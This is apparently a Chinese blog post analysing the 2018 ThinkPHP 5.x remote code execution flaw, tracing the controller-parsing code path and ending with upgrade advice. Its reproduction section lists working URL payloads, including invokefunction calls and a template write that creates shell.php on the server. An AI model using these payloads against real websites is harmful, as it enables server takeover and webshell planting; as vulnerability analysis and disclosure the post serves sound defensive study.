引言
ThinkPHP 是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,因为其易用性、扩展性,已经成长为国内颇具影响力的WEB应用开发框架。
本次ThinkPHP5.x漏洞爆出时间大约是2018-9月,尚处于 0day 阶段时就已经被用于攻击多个虚拟货币类、金融类网站;直到2018-10-8号左右才被广泛传开,杀伤力太大,无条件执行代码,我的几个项目也紧急的升级,有惊无险。
ThinkPHP5.x漏洞影响版本
ThinkPHP 5.0.x < 5.0.23
ThinkPHP 5.1.x < 5.1.31
漏洞分析我是第一时间在T00ls上看的,现在已经全网到处都是了。
漏洞分析
该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。
漏洞点在Module.php,先调用的exec函数,初始化类时调用init()
从$this->dispatch
获取$controller和 $this->actionName
的值然后进入exec函数。
public function init()
{
parent::init();
$result = $this->dispatch;
.........................
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
$this->controller = $convert ? strtolower($controller) : $controller;
// 获取操作名
$this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action'));
// 设置当前请求的控制器、操作
$this->request
->setController(Loader::parseName($this->controller, 1))
->setAction($this->actionName);
return $this;
}
先调用的exec函数,初始化类时调用init()
从$this->dispatch
获取$controller和 $this->actionName
的值然后进入exec函数。
public function exec()
{
// 监听module_init
$this->app['hook']->listen('module_init');
try {
// 实例化控制器
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
$this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
// 获取当前操作名
$action = $this->actionName . $this->rule->getConfig('action_suffix');
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect= new ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $this->rule->getConfig('action_suffix');
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$this->request->setAction($actionName);
// 自动获取请求变量
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call= [$instance, '_empty'];
$vars= [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}
$this->app['hook']->listen('action_begin', $call);
$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
return $this->autoResponse($data);
});
return $this->app['middleware']->dispatch($this->request, 'controller');
}
在$this->app->controller
中将$this->controller
进行实例化,跟进$this->app->controller
。
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);
if (class_exists($class)) {
return $this->__get($class);
} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
return $this->__get($emptyClass);
}
throw new ClassNotFoundException('class not exists:' . $class, $class);
}
$this->parseModuleAndClass
对传入的controller进行解析,返回解析出来的class以及module。可以看到如果$name
以\
开头就将name直接作为class,再返回到controller函数中将$class
实例化成object对象,返回给exec函数中的$instance
。
protected function parseModuleAndClass($name, $layer, $appendSuffix)
{
if (false !== strpos($name, '\\')) {
$class= $name;
$module = $this->request->module();
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else {
$module = $this->request->module();
}
$class = $this->parseClass($module, $layer, $name, $appendSuffix);
}
return [$module, $class];
}
最后就是调用invokeArgs进行反射调用类中的方法了。
有了任意调用类的方法,我们就只需要找一下可以从那些类进行触发,主要看看\thinkphp\library\think\App.php中的,invokeFunction。
ThinkPHP 5.0.x漏洞invokeFunction
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args= self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
ThinkPHP 5.1.x漏洞invokeFunction
public function invokeFunction($function, $vars = [])
{
try {
$reflect = new ReflectionFunction($function);
$args = $this->bindParams($reflect, $vars);
return call_user_func_array($function, $args);
} catch (ReflectionException $e) {
throw new Exception('function not exists: ' . $function . '()');
}
}
都是对传入的$function
以及$var
进行动态调用,直接传入?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
即可。
漏洞复现
payload如下:
?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php%20phpinfo();?> #在shell.php中写入phpinfo
?s=index/\think\view\driver\Php/display&content=<?php%20phpinfo();?> #linux下使用
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
直接访问即可任意代码执行。
漏洞防御
升级到Thinkphp最新版本,包括自动升级最新内核版本和手动升级方法,具体看官方:https://blog.thinkphp.cn/869075 。
原文连接
的情况下转载,若非则不得使用我方内容。